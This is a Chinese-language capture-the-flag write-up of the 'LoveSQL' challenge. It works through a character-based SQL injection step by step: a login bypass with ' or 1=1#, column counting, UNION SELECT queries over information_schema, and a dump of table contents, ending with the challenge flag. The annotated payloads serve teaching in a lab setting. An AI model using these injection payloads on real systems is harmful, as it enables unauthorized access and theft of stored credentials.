[极客大挑战 2019]LoveSQL

[极客大挑战 2019]LoveSQL

1、打开题目,第一想法先进行字符型注入,使用常用的绕过

user: ' or 1=1#
pwd: 1

显示登入成功,确认为字符型注入,但是,不是我们想要的flag

2、尝试利用爆字段数(列)

user: admin
pwd: 1';order by 4#

不行,显示语法错误,抛弃堆叠注入继续爆字段数(列)

pwd: 1' order by 4#

没有到第4列

继续爆字段数(列)

pwd: 1' order by 3#

这下清楚了,数据库一共有3列

3、尝试爆破数据库,看看到底在哪个数据库里

使用联合查询

pwd:1' union select 1,2,database()#

payload解释:

1' //1'造成语法错误,方便攻击者写下自己的攻击指令
union //SQL关键字,用于合并两个查询的结果
select 1,2 //可以当作一种探测方法和占位符,探测方法:尝试用"1' or union select 1,2,3#"探测列数;占位符:当攻击者只需要获取一个数据库时,通过数字或者NULL进行占位,达到相同的列数,这样就不会报错了

数据库为“geek”

解释页面

这个页面有两个可以显示数据的窗口,但是由于我们作为攻击者把database()放在第三个,所以页面显示时,把显示的数据放在了“Your password is”的后面

下面是演示放在第二个位置

1' union select 1,database(),3#

有的人会说为什么不放在第一个位置

前面payload解释后面的“探测方法”就是为了知道这些数据到底哪些会显示出来,说是爆破数据库,但是我们还是要先测试,到底可不可行,测试示例如下

1' union select 1,2,3#

从结果可知没有显示1,一般1的位置是作为用户的“id“,是不进行输出的

4、爆完数据库后,可以开始爆数据库下的数据表

1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#

payload解释:

1' //1'造成语法错误,方便攻击者写下自己的攻击指令
union //SQL关键字,用于合并两个查询的结果
select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
//前面我们知道select 1,database()就是显示的窗口“1,2”,但是我们现在想知道表名,所以使用group_concat(table_name),因为网页只显示一行,所以用group_concat将所有的表名变成一个字符串,再将查询到的表名用","隔开,这样攻击者就可以在一个窗口看到全部表名;
information_schema数据库自带的元数据库,记录了所有的数据库名,表名,列名,以及权限信息,".tables"指的是专门记录所有表的信息的表;
where table_schema=database() //表所属的数据库所在位置

得到了表名两个

5、开始爆数据表的字段(列)

1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='geekuser'#

payload解释:

1' //1'造成语法错误,方便攻击者写下自己的攻击指令
union //SQL关键字,用于合并两个查询的结果
select 1,database(),group_concat(column_name) from information_schema.columns where table_name='geekuser'#
//跟上面的一样,只不过是表改成列,变成爆破列

列也出来了

6、开始爆破数据表中列下的所有内容

1' union select 1,database(),group_concat(id,username,password) from geekuser#

爆破geekuser表,代码都大差不差,看前面的解释都能懂

爆破出来是这样

没有flag

爆破l0ve1ysq1

1' union select 1,database(),group_concat(password) from l0ve1ysq1#

得到flag

flag{e80217b8-6d80-45f0-9984-c95049e7df6d}

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇